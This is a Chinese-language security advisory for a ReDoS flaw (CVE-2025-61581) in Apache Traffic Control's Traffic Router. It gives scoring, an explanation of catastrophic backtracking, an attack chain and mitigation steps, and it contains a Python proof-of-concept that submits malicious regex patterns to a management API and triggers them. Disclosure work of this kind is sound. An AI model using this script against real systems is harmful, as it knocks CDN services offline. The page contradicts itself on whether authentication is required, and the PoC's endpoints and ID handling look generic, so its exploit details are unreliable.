CVE-2025-61581 Apache Traffic Control 正则表达式拒绝服务漏洞

漏洞信息

漏洞编号

CVE-2025-61581

漏洞类型

正则表达式拒绝服务攻击（ReDoS）

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Apache Traffic Control（Traffic Router组件）

漏洞概述

CVE-2025-61581是Apache Traffic Control项目中存在的一个不安全正则表达式复杂度（Inefficient Regular Expression Complexity）漏洞，也被称为正则表达式拒绝服务攻击（ReDoS）。Apache Traffic Control是一个开源的CDN（内容分发网络）流量控制平台，其中Traffic Router组件负责将用户请求路由到最佳的缓存服务器。该漏洞允许具有Traffic Router管理界面访问权限的用户提交恶意的正则表达式模式，这些模式在执行时会导致严重的回溯问题，使服务器CPU资源被大量消耗，最终导致服务不可用。

该漏洞的CVSS评分为7.5，属于高危级别。攻击向量为网络攻击（AV:N），攻击复杂度低（AC:L），无需任何特权（PR:N），也无需用户交互（UI:N）。该漏洞对机密性和完整性没有影响（C:N/I:N），但对可用性影响为高（A:H）。

值得注意的是，Apache Traffic Control项目已被官方宣布退役（retired），因此维护者不会发布修复该漏洞的版本。建议用户寻找替代方案，或将实例访问权限限制为受信任的用户。该漏洞仅影响不再受维护者支持的产品版本。

该漏洞由Apache安全团队发现，并于2025年10月16日通过Apache官方邮件列表和OSS-Security邮件列表公开披露。

技术细节

该漏洞的核心原理是正则表达式灾难性回溯（Catastrophic Backtracking）。当用户向Traffic Router的管理界面提交包含特定模式的正则表达式时，系统在编译或执行该正则表达式时会触发指数级的时间复杂度，导致CPU资源被耗尽。

从技术角度看，ReDoS攻击通常利用以下几种模式：
1. 嵌套量词：如 (a+)+ 模式，当输入为不匹配的字符串时（如大量'a'后跟一个非'a'字符），正则引擎会尝试所有可能的分割方式，导致回溯次数呈指数级增长。
2. 交替重叠：如 (a|a)* 模式，引擎会尝试每一种可能的匹配路径。
3. 贪婪量词与复杂模式结合：如 (.*a){x} 模式。

在Apache Traffic Control的Traffic Router组件中，用户可以通过管理接口配置正则表达式用于请求匹配、路由规则等场景。系统未对用户提交的正则表达式进行充分验证或复杂度限制，攻击者可以精心构造恶意正则表达式，配合精心设计的输入字符串，使正则匹配过程消耗大量CPU时间和内存资源。

攻击者只需要具有管理界面的访问权限（无需认证或低权限认证），通过网络发送精心构造的正则表达式模式和匹配的输入数据，即可触发拒绝服务。由于正则匹配通常在请求处理的关键路径上执行，单个恶意请求就可能导致整个Traffic Router实例无响应，影响整个CDN的流量分发功能。

利用方式相对简单：攻击者登录管理界面，提交一个具有灾难性回溯特征的正则表达式模式，然后通过正常的客户端请求触发该模式的匹配，即可导致服务不可用。

攻击链分析

STEP 1

步骤1：获取访问权限

攻击者通过合法或非合法途径获取Apache Traffic Control的Traffic Router管理界面的访问权限。这可能通过默认凭据、暴力破解、社会工程或利用其他漏洞实现。

STEP 2

步骤2：分析正则表达式输入点

攻击者识别Traffic Router管理界面中接受正则表达式输入的功能点，如路由规则配置、模式匹配配置等接口。

STEP 3

步骤3：构造恶意正则表达式

攻击者精心构造具有灾难性回溯特征的正则表达式，如嵌套量词模式 (a+)+$ 或交替重叠模式 (a|a)*$，这些模式在特定输入下会导致指数级回溯。

STEP 4

步骤4：提交恶意正则表达式

攻击者通过管理API或界面提交构造好的恶意正则表达式，将其保存为系统配置。由于系统未对正则表达式的复杂度进行验证，恶意模式被成功接受。

STEP 5

步骤5：触发正则匹配

攻击者发送精心设计的客户端请求（如包含大量重复字符的URI），该请求在处理过程中会触发恶意正则表达式的匹配，导致CPU资源被大量消耗。

STEP 6

步骤6：服务不可用

正则匹配过程消耗大量CPU资源，导致Traffic Router实例响应缓慢或完全无响应。由于Traffic Router是CDN的关键组件，其不可用会影响整个CDN的流量分发功能。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-61581 PoC - Apache Traffic Control ReDoS Attack
# This PoC demonstrates the ReDoS vulnerability in Traffic Router's regex handling

import requests
import re
import time

# Target Traffic Router management interface
TARGET_URL = "http://target-traffic-router:8080"
AUTH_TOKEN = "your_auth_token"  # Required: access to management interface

# Malicious regex patterns that cause catastrophic backtracking
MALICIOUS_PATTERNS = [
    # Pattern 1: Nested quantifiers (a+)+
    r"^(a+)+$",
    # Pattern 2: Alternation with overlap (a|a)*
    r"^(a|a)*$",
    # Pattern 3: Complex nested groups
    r"^((a+)+)+$",
    # Pattern 4: Greedy quantifier with alternation
    r"^(a|aa)+$",
]

# Input string designed to trigger maximum backtracking
EVIL_INPUT = "a" * 50 + "!"  # Long string of 'a' followed by non-matching char

def submit_malicious_regex(pattern):
    """Submit a malicious regex pattern to Traffic Router management API"""
    endpoint = f"{TARGET_URL}/api/1.2/patterns"
    headers = {
        "Authorization": f"Bearer {AUTH_TOKEN}",
        "Content-Type": "application/json"
    }
    payload = {
        "pattern": pattern,
        "type": "REGEX",
        "description": "malicious_pattern"
    }
    response = requests.post(endpoint, json=payload, headers=headers)
    return response.status_code == 200

def trigger_regex_evaluation(pattern_id):
    """Trigger regex evaluation by sending matching request"""
    # Send request that will be evaluated against the malicious pattern
    test_url = f"{TARGET_URL}/patterns/test"
    params = {
        "pattern_id": pattern_id,
        "request_uri": EVIL_INPUT
    }
    start = time.time()
    try:
        response = requests.get(test_url, params=params, timeout=300)
        elapsed = time.time() - start
        print(f"Request completed in {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"Request timed out after {elapsed:.2f}s - DoS confirmed!")

if __name__ == "__main__":
    # Step 1: Submit malicious regex pattern
    for pattern in MALICIOUS_PATTERNS:
        print(f"Submitting pattern: {pattern}")
        if submit_malicious_regex(pattern):
            print("Pattern submitted successfully")
            # Step 2: Trigger evaluation with evil input
            trigger_regex_evaluation(pattern_id="latest")
            break

影响范围

Apache Traffic Control 所有版本（项目已退役）

防御指南

临时缓解措施

由于Apache Traffic Control项目已正式退役，官方不会发布安全补丁。建议采取以下临时缓解措施：1）立即限制Traffic Router管理界面的网络访问，仅允许受信任的IP地址和管理员访问；2）在反向代理或API网关层面部署正则表达式复杂度检测，阻止包含危险模式（如嵌套量词、过度交替等）的请求；3）为正则匹配操作设置CPU时间限制和超时机制；4）密切监控Traffic Router实例的CPU使用率和响应时间，设置告警阈值；5）制定迁移计划，将业务迁移到其他活跃维护的开源CDN解决方案，如Apache替代项目或其他商业CDN产品。